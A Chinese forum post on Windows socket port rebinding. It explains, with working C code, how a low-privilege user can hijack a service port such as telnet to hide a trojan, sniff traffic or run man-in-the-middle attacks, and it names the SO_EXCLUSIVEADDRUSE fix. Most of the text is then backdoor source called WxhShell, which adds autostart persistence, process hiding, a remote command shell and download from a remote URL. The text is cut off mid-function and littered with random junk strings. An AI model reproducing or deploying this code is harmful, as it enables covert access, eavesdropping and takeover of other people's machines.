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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lnjL7x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }eI`Qg  
>z5Oy  
  saddr.sin_family = AF_INET; lf;~5/%wMG  
b<8q 92F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >0 7shNX  
>waN;&>/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %/X2 l  
}oV3EIH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M-vC>u3Y  
^}tL nF  
  这意味着什么?意味着可以进行如下的攻击: wyNC|P;j$g  
h9U+ %=^O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H[Cj7{V  
q1P :^<[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >Rr!rtc'x  
qZ233pc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cJ2y)`  
c'xUJhEL  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QW,cn7  
T4vogoy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cu:-MpE  
1"M"h_4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .$UTH@;7  
|iAEDZn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -S`TEX  
E}Ljo  
  #include \?r$&K]4  
  #include a4:`2  
  #include &bn*p.=G  
  #include    hl*MUD,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eS* *L 3  
  int main() ;r%<2(  
  { V;P1nL4L  
  WORD wVersionRequested; "Jf4N  
  DWORD ret;  .fbYB,0w  
  WSADATA wsaData; d8D yv#gT  
  BOOL val; /(y4V  
  SOCKADDR_IN saddr; JXlTN[O  
  SOCKADDR_IN scaddr; 8 H,_vf  
  int err; 2V 4`s'  
  SOCKET s; i_|h{JK)  
  SOCKET sc; *m iONc  
  int caddsize; =z+-l5Gu"  
  HANDLE mt; JN-D/s  
  DWORD tid;   N&x@_t""   
  wVersionRequested = MAKEWORD( 2, 2 ); 3e#x)H/dr  
  err = WSAStartup( wVersionRequested, &wsaData ); >\Z lZ  
  if ( err != 0 ) { mf+K{y,L  
  printf("error!WSAStartup failed!\n"); z9I1RX V  
  return -1; :fl*w""V@  
  } $U\!q@'$  
  saddr.sin_family = AF_INET; A&D2T  
   P>.Y)$`r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q$ bHO  
i?lX,9%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZCj>MA  
  saddr.sin_port = htons(23); P0a>+^:%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "r:H5) !  
  { $:qI&)/  
  printf("error!socket failed!\n"); 11PLH0  
  return -1; 6-D%)Z(  
  } ?SHc}iaU#  
  val = TRUE; hgF21Oj9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I|GV :D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6wa<'!   
  { 8''9@xz  
  printf("error!setsockopt failed!\n"); H't`Q&]a  
  return -1; ~3LhcU-  
  }  s$K@X `  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z?8zFP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J,CJPUf&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /+Wb6{lY  
S~]8K8"sT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n P0Ziu'{  
  { L%TxP6z4A  
  ret=GetLastError(); pyu46iE)  
  printf("error!bind failed!\n"); se4w~\/  
  return -1; #-l!`\@  
  } `HE>%=]b  
  listen(s,2); T3=-UYx]  
  while(1) .%-6&%1  
  { Tb>IHoil  
  caddsize = sizeof(scaddr); %:yHMEG]'  
  //接受连接请求 ;}UIj{sj*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8Sd?b5|G~  
  if(sc!=INVALID_SOCKET) " 8~f  
  { V#n?&-{V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B^E2UNRA  
  if(mt==NULL) 8A`p  
  { }dV9%0s!  
  printf("Thread Creat Failed!\n"); ctnAVm  
  break; \9&YV;Ct  
  } I^rZgp<'i  
  } S jC)6mo  
  CloseHandle(mt); yHa:?u6  
  } %!N2!IiVs  
  closesocket(s); iKR8^sj7S  
  WSACleanup(); g_-?h&W  
  return 0; H24ate?t,  
  }   @g@ fL%  
  DWORD WINAPI ClientThread(LPVOID lpParam) f(w#LuW<  
  { \i&vOH'  
  SOCKET ss = (SOCKET)lpParam; f(@"[-[  
  SOCKET sc; -oaG|  
  unsigned char buf[4096]; wj5qQ]WC  
  SOCKADDR_IN saddr; !W+p<F1i  
  long num; b |o`Q7Hj  
  DWORD val; yg-L^`t+B5  
  DWORD ret; %zIl_/s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S'v V"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6Zl.Lh  
  saddr.sin_family = AF_INET; 8AC. 2 v?_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %_%f# S  
  saddr.sin_port = htons(23); ,?7xb]h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e0G}$ as  
  { FVvv   
  printf("error!socket failed!\n"); 'p|Iwtjn>  
  return -1; URmAI8fq*M  
  } mE3SiR "  
  val = 100; @8 oDy$j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {GG~E54&B  
  { L*SSv wSL  
  ret = GetLastError(); vUodp#s  
  return -1; 5kRwSOG%'  
  } ~%8Q75tn.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _k"&EW{ Ii  
  { S4aHce5PXA  
  ret = GetLastError(); a V+o\fId  
  return -1; X*c_^g{  
  } #buV;!_!E?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6x (L&>F  
  { buxI-wv  
  printf("error!socket connect failed!\n"); u+I r:k  
  closesocket(sc); /w}B07.  
  closesocket(ss); [EW$7 se~  
  return -1; )$Dcrrj  
  } %Mb( c+7  
  while(1) .5#tB*H  
  { e!2%ku  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $jUS[.S_|I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f3%^-Uy*b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +UpMMh q  
  num = recv(ss,buf,4096,0); ` + n  
  if(num>0) Zh fD`@>&  
  send(sc,buf,num,0); 6Mf3)o2  
  else if(num==0) fa*H cz  
  break; Ndug9j\2  
  num = recv(sc,buf,4096,0); a2 klOX{  
  if(num>0) qk+{S[2j  
  send(ss,buf,num,0); HqnKpZ  
  else if(num==0) F`ZIc7(.{  
  break; #?b^B~ #  
  } w$U/;C  
  closesocket(ss); Aa\=7  
  closesocket(sc); ;ow~vO,x  
  return 0 ; 7S~9E2N  
  } skC|io-Zv  
44fq1<.K  
_:fO)gs|1  
========================================================== -'p@ lk  
gw&#X~em  
下边附上一个代码,,WXhSHELL !=h|&Vta  
ma]F%E+$  
========================================================== ~QEXB*X-g'  
8.;';[  
#include "stdafx.h" P9tQS"Rs  
SJ WP8+  
#include <stdio.h> 'Kso@St`o  
#include <string.h> s2kZZP8-  
#include <windows.h> >fZ/09&3  
#include <winsock2.h> #()cG  
#include <winsvc.h> k1$2a8 ja  
#include <urlmon.h> / Vm}+"BCS  
2dd:5L,  
#pragma comment (lib, "Ws2_32.lib") Jn <^Q7N  
#pragma comment (lib, "urlmon.lib") 8HRPJSO~g  
pJ*#aH[ySP  
#define MAX_USER   100 // 最大客户端连接数 Oih2UrF  
#define BUF_SOCK   200 // sock buffer ("J V:u.L+  
#define KEY_BUFF   255 // 输入 buffer uZiY<(X  
gt t$O  
#define REBOOT     0   // 重启 UA!Gr3  
#define SHUTDOWN   1   // 关机 j~L1~@  
%[\Ft  
#define DEF_PORT   5000 // 监听端口 x 1xj\O  
$qUta< o2@  
#define REG_LEN     16   // 注册表键长度 c] >&6-;rf  
#define SVC_LEN     80   // NT服务名长度 &6^W% r  
:2UC{_  
// 从dll定义API `d|bH; w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &fd4IO/O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FskJyB[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ng&EGM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8$<AxNR  
@gqs4cg{f  
// wxhshell配置信息 )D@n?qbG  
struct WSCFG { iZq@W3GL C  
  int ws_port;         // 监听端口 ZAM+4#@  
  char ws_passstr[REG_LEN]; // 口令 |gRgQGeB  
  int ws_autoins;       // 安装标记, 1=yes 0=no -IE P?NX  
  char ws_regname[REG_LEN]; // 注册表键名 @<TfA>*VJ  
  char ws_svcname[REG_LEN]; // 服务名 X-N$+[#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S_ -QvG2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 };|PFWs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5 *pN<S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G>ptwB81KM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e9_O/iN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &pY G   
u g:G9vjQ  
}; gUszMhHX  
\Af|$9boHz  
// default Wxhshell configuration >wS:3$Q  
struct WSCFG wscfg={DEF_PORT, E#2k|TpH4  
    "xuhuanlingzhe", `w=H'"Zv  
    1, -z 5k4Y  
    "Wxhshell", .kKwdqO+zB  
    "Wxhshell", FPUR0myCU  
            "WxhShell Service", L|1zHDxQ  
    "Wrsky Windows CmdShell Service", C94UF7al  
    "Please Input Your Password: ", hHl-;%#  
  1, ExP25T  
  "http://www.wrsky.com/wxhshell.exe", j]l}K*8(  
  "Wxhshell.exe" FeeWZe0i  
    }; nk3<]u  
aCi^^}!  
// 消息定义模块 pn%|;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s^?sJUj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qD%&\ZT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -b>O4_N  
char *msg_ws_ext="\n\rExit."; n `T[eb~  
char *msg_ws_end="\n\rQuit."; %FWfiFV|<  
char *msg_ws_boot="\n\rReboot..."; (F '  
char *msg_ws_poff="\n\rShutdown..."; A{Htpm~  
char *msg_ws_down="\n\rSave to "; )>M@hIV5>  
'-]BSU  
char *msg_ws_err="\n\rErr!"; [`-O-?=  
char *msg_ws_ok="\n\rOK!"; 8!%"/*P$  
gL}Y5U+s  
char ExeFile[MAX_PATH]; Q.2nUT`  
int nUser = 0; &|\}\+0Z  
HANDLE handles[MAX_USER]; Vv)E41  
int OsIsNt; [O+^eE6h  
S@G{|.)2  
SERVICE_STATUS       serviceStatus; U8$dG)PhA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9PGR#!!F$  
Cbg#Yz~/  
// 函数声明 B{UoNm@  
int Install(void); 6N+)LF}P b  
int Uninstall(void); F4<2.V)#-  
int DownloadFile(char *sURL, SOCKET wsh); ;q&D,4r]  
int Boot(int flag); $F()`L{Tj  
void HideProc(void); @gjdyz  
int GetOsVer(void); @bCiaBdi  
int Wxhshell(SOCKET wsl); 0#/ 6P&6  
void TalkWithClient(void *cs); tMBy ^@p  
int CmdShell(SOCKET sock); *^+xcG  
int StartFromService(void); H'\EA(v+  
int StartWxhshell(LPSTR lpCmdLine); bl>b/u7/6  
Cl.T'A$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J$/BH\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wBHDof xX  
[gdPHXs  
// 数据结构和表定义 BI^]juH-c  
SERVICE_TABLE_ENTRY DispatchTable[] = 'CO[s.03  
{ jL%}y1m?  
{wscfg.ws_svcname, NTServiceMain}, ~d `4W<1a  
{NULL, NULL} ;GT)sI   
}; jh&vq=P H  
"jc)N46  
// 自我安装 4bzn^  
int Install(void) w ]-iM  
{ DF|lUO]:  
  char svExeFile[MAX_PATH]; "EhO )lR  
  HKEY key; 9x{prCr  
  strcpy(svExeFile,ExeFile); hsO.521g  
d@f2Vxe7  
// 如果是win9x系统,修改注册表设为自启动 ;OJ0}\*iP8  
if(!OsIsNt) { T>%ny\?tHW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JsEEAM:w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); be%*0lr  
  RegCloseKey(key); VX[!Vh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X@q1;J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lbp6I0&n  
  RegCloseKey(key); k[)@I;m  
  return 0; E(LE*J  
    } AHD%6 \$  
  } ",V5*1w  
} &E`Z_} ~  
else { "$pg mf2  
U?j>28  
// 如果是NT以上系统,安装为系统服务 PSR `8z n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); slfVQ809  
if (schSCManager!=0) (b}7Yb]#c  
{ H^:|`T|,  
  SC_HANDLE schService = CreateService O~'yP @&`  
  ( J\D3fh97-  
  schSCManager, bu&y w~  
  wscfg.ws_svcname, z35Rjhj9  
  wscfg.ws_svcdisp, $-fY8V3[  
  SERVICE_ALL_ACCESS, \U>Kn_7m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E"&9FxS]^  
  SERVICE_AUTO_START, jUSr t)o03  
  SERVICE_ERROR_NORMAL, 8~#Q *  
  svExeFile, mxA )r5sx  
  NULL, %\&dFwb  
  NULL, wx5*!^&j  
  NULL, }c5`~ LLK  
  NULL, rXPx* /C  
  NULL VVl-cU  
  ); NWK_(=n  
  if (schService!=0) 't.F.t  
  { g^UWf<xp  
  CloseServiceHandle(schService); S]=Vr%irX  
  CloseServiceHandle(schSCManager); 3F!+c 8e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]sAD5<;  
  strcat(svExeFile,wscfg.ws_svcname); bI(98V,t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H5 hUY'O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }_;!E@  
  RegCloseKey(key);  yE,o~O  
  return 0; r/L]uSN  
    } @0'|Uygn  
  } *7ro [  
  CloseServiceHandle(schSCManager); ?} tQaj  
} JhIK$Ti  
} p;=(-4\V}  
4:g:$s|SE[  
return 1; %]oLEmn}y  
} gj X1b2  
hAyPaS#  
// 自我卸载 lIP<`6=4  
int Uninstall(void) IuW10}"9  
{ Fsj[JE  
  HKEY key; dwMwd@*j  
,`@|C Z-4A  
if(!OsIsNt) { mP[u[|]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0|;=mYa4M  
  RegDeleteValue(key,wscfg.ws_regname); rNyK*Wjt  
  RegCloseKey(key); MV \zwH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  U~t(YT  
  RegDeleteValue(key,wscfg.ws_regname); cpnwx1q@  
  RegCloseKey(key); ,m]q+7E  
  return 0; X-F HJ4  
  } #?6RoFgMe  
} ? d\8Q't*  
} Ntiz-qW  
else { jMbK7 1K%  
g>zL{[e!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LWV`xCr8R  
if (schSCManager!=0) -;"l 5oX  
{ J[wXG6M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]]3D` F}  
  if (schService!=0) -1JHhRr]  
  { $8r:&Iw  
  if(DeleteService(schService)!=0) { A,qG*lv  
  CloseServiceHandle(schService); B4aZ3.&W  
  CloseServiceHandle(schSCManager); 3/FB>w gt  
  return 0; oD\+ 5[x  
  } @CF4:NNHw  
  CloseServiceHandle(schService); >O~5s.1u  
  } nVzo=+Yp  
  CloseServiceHandle(schSCManager);  V}qmH2h  
} =YIQ _,{u  
} [=+/  
>`'9V| 1  
return 1; C<>.*wlp=  
} f lB2gr^  
W$S.?[X  
// 从指定url下载文件 sN2l[Ous  
int DownloadFile(char *sURL, SOCKET wsh) 6< Z9p@6  
{ ,RQ-w2j?  
  HRESULT hr; Ji q[VeLe  
char seps[]= "/"; ^h=kJR9  
char *token; n} {cs  
char *file; 's<}@-]  
char myURL[MAX_PATH]; g\'sGt3O  
char myFILE[MAX_PATH]; S# #W_OlrI  
gp=0;#4 4  
strcpy(myURL,sURL); v*3:8Y,  
  token=strtok(myURL,seps); 2uVm?nm  
  while(token!=NULL) soF^G21N  
  { M .,|cx  
    file=token; uk,f}Xc  
  token=strtok(NULL,seps); { SV$fl;  
  } {y'k wU  
n :P}K?lg  
GetCurrentDirectory(MAX_PATH,myFILE); Ry C7  
strcat(myFILE, "\\"); k"J?-1L  
strcat(myFILE, file); X*KT=q^?n  
  send(wsh,myFILE,strlen(myFILE),0); x% 1Rp[  
send(wsh,"...",3,0); ;q Z2V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s/V[tEC*z  
  if(hr==S_OK) kel48B  
return 0; vs~*=d27Pf  
else lV8Mr6m  
return 1; N5^:2ag  
+Q.[W`goV  
} M:x(_Lu  
+dfSCs  
// 系统电源模块 sC>8[Jatd  
int Boot(int flag) 2 E^P=jU`  
{ lgl/| ^ Uw  
  HANDLE hToken; ;XT$rtuX  
  TOKEN_PRIVILEGES tkp; d9s"y?8  
_ 0-YsD  
  if(OsIsNt) { <d4^gAfs*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ",a fv{C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rgr> ;   
    tkp.PrivilegeCount = 1; Wxjpe4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]P.S5s'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *h Ur E  
if(flag==REBOOT) { 8QU`SoS9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EOL03N   
  return 0; ~0L>l J  
} E%TvGe;#  
else { vsK>?5{C-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H X8q+  
  return 0; g(1'i1  
} Uu ,Re  
  } ~c4Y*]J  
  else { 3XIxuQwf  
if(flag==REBOOT) { [*fnTy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t1kD5^  
  return 0; ||qW'kNWM  
} ?G@%haqn6  
else { ;Bm{_$hf=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IcB>Hg5  
  return 0; C4y<+G.`  
} pxgv(:Tw  
} ;k>{I8L~  
F XbNmBXF  
return 1; AWw:N6\  
} &f[[@EF7  
ipsNiFv:  
// win9x进程隐藏模块 so;aN'{6@  
void HideProc(void) bz1\EkLL  
{ bkb}M)C  
{+!_; zzZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2l9_$evK~  
  if ( hKernel != NULL ) kns[b [!H  
  { t^q/'9Ai&J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %BL+'&q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4WLB,<b}  
    FreeLibrary(hKernel); /SyiJCx0  
  } s;bqUY?LD  
@^%# ]x,:  
return; _b+3;Dy  
} t<4+CC2H  
K~uoZ~_gA  
// 获取操作系统版本 *Nv<,Br,F  
int GetOsVer(void) Xh ?{%?2  
{ T+I|2HYqOj  
  OSVERSIONINFO winfo; \!_ >ul  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MD%86m{Sg=  
  GetVersionEx(&winfo); NS\'o )J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kM.zX|_  
  return 1; !+i  
  else {9(N?\S1`a  
  return 0; o^Ms(?K%t  
} 44!bwXz8  
E]bjI$j  
// 客户端句柄模块 8$1<N  
int Wxhshell(SOCKET wsl) ]1X];x&e  
{ V4|pZ]  
  SOCKET wsh; oC[$PPqX#  
  struct sockaddr_in client; 'Ic$p>  
  DWORD myID; 'C(YUlT2?P  
X4jtti  
  while(nUser<MAX_USER) #U^@)g6  
{ X"yLo8y8$  
  int nSize=sizeof(client); dD=dPi#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )AnX[:y  
  if(wsh==INVALID_SOCKET) return 1; F*QGzbv)  
zH.7!jeE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0 j6/H?OT  
if(handles[nUser]==0) ^X^4R1V)  
  closesocket(wsh); X[R/j*K  
else U`xjau+  
  nUser++; >XB Lm`a  
  } $cjidBi`):  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &P rx=L`  
Nx~8]h1(  
  return 0; YqYCW}$  
} Iu=iC.50}  
<J\z6+,4E  
// 关闭 socket tip\vS)  
void CloseIt(SOCKET wsh) n<?:!f`   
{ <~'\~Zd+  
closesocket(wsh); [8<)^k  
nUser--; NT:p6(s^  
ExitThread(0); /aP`|&G,)  
} DvU(rr\p  
:hZYh.y\l  
// 客户端请求句柄 op;OPf,  
void TalkWithClient(void *cs) >-f`mT  
{ k\A8Z[  
]"^U  
  SOCKET wsh=(SOCKET)cs; q* +}wP  
  char pwd[SVC_LEN]; G >bQlZG  
  char cmd[KEY_BUFF]; LXr nAt  
char chr[1]; JW (.,Ztm  
int i,j; +Ibcc8Qud  
L9"V$MO  
  while (nUser < MAX_USER) { 5Osx__6$t  
-|T.APxB  
if(wscfg.ws_passstr) { SO9j/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2ACN5lyUS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2]hQ56Yv3  
  //ZeroMemory(pwd,KEY_BUFF); 525W; mu{  
      i=0; Jc/*w  
  while(i<SVC_LEN) { }!x\qpA  
YuFJJAJ  
  // 设置超时 USv: + .  
  fd_set FdRead; 4Z,MqG>  
  struct timeval TimeOut; ?(H/a-(:v}  
  FD_ZERO(&FdRead); fM6Pw6k  
  FD_SET(wsh,&FdRead); Ab/gY$l  
  TimeOut.tv_sec=8; }/Pz1,/  
  TimeOut.tv_usec=0; ]:d`=V\&N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }[k~JXt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V0XQG}  
h#a,<B|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jc95Ki1X  
  pwd=chr[0]; ;kDz9Va  
  if(chr[0]==0xd || chr[0]==0xa) { 8A#qbBD  
  pwd=0; %N04k8z  
  break; QOB>Tv E  
  } h@&& .S`B  
  i++; E)7vuWO O  
    } 'gI q_t|^  
vWc=^tT   
  // 如果是非法用户,关闭 socket )l~:P uvh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "8>T  
} kZfa8w L]P  
A}W) La\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v'mRch)d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B agO0#  
a"@k11  
while(1) { UiO%y  
jhl9  
  ZeroMemory(cmd,KEY_BUFF); iv*`.9TK-  
(R5n ND  
      // 自动支持客户端 telnet标准   @m[q0G}  
  j=0; kaq H.e(  
  while(j<KEY_BUFF) { V i V3Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dI};l  
  cmd[j]=chr[0]; V.?N29CA|  
  if(chr[0]==0xa || chr[0]==0xd) { |uf{:U)  
  cmd[j]=0; xM"k qRZ  
  break; >)\x\e  
  } m^I+>Bp/:  
  j++; F%M4i`Vh  
    } `f?v_Ui-$  
LlKvi_z  
  // 下载文件 46OYOa  
  if(strstr(cmd,"http://")) { 9%T~^V%T7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }coSMTMv6  
  if(DownloadFile(cmd,wsh)) ra2sYH1wr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l+`f\},  
  else X:PB }  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y">m g=B  
  } 1j"_@?H[  
  else { &3~lZa;D  
CobMagPhr  
    switch(cmd[0]) { Xf o3fW)s  
  uyZ  
  // 帮助 P@lDhzd  
  case '?': { u_ou,RF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )IQ5Qu  
    break; bS7rG$n [  
  } S5'ZKk  
  // 安装 ^C$Oht,cU  
  case 'i': { }81eef4$S  
    if(Install()) wiHGTaR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$9Q=M  
    else M uz+j.0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !'scOWWn  
    break; ?'SHt9b3|  
    } NX.%Rj*  
  // 卸载 ,6T F]6:  
  case 'r': { mXAGa8##j  
    if(Uninstall()) 2w"Xv,*.'i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i;Y3pF0%P  
    else tf<}%4G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #x|xL7  
    break; / ,Unp1D  
    } !A_<(M<  
  // 显示 wxhshell 所在路径 Q5Yy \M  
  case 'p': { !'m MGxkEb  
    char svExeFile[MAX_PATH]; SUGB)vEa  
    strcpy(svExeFile,"\n\r"); kHMD5Q  
      strcat(svExeFile,ExeFile); N!me:|Dn  
        send(wsh,svExeFile,strlen(svExeFile),0); wwmHr!b:6  
    break; X~+AaI :~K  
    } xwvg @  
  // 重启 EY+/ foP  
  case 'b': { <7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {p.D E  
    if(Boot(REBOOT)) 3QM;K^$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2 %u;D%  
    else { fyHFfPEE  
    closesocket(wsh); '?$N.lj$d  
    ExitThread(0); /w[B,_ZKTk  
    } "&9L  
    break; xbUL./uj  
    } 5l_ >QB  
  // 关机 4S9hz  
  case 'd': { 8&K1;l }  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ahJ -T@  
    if(Boot(SHUTDOWN)) TTGk"2 Q'  
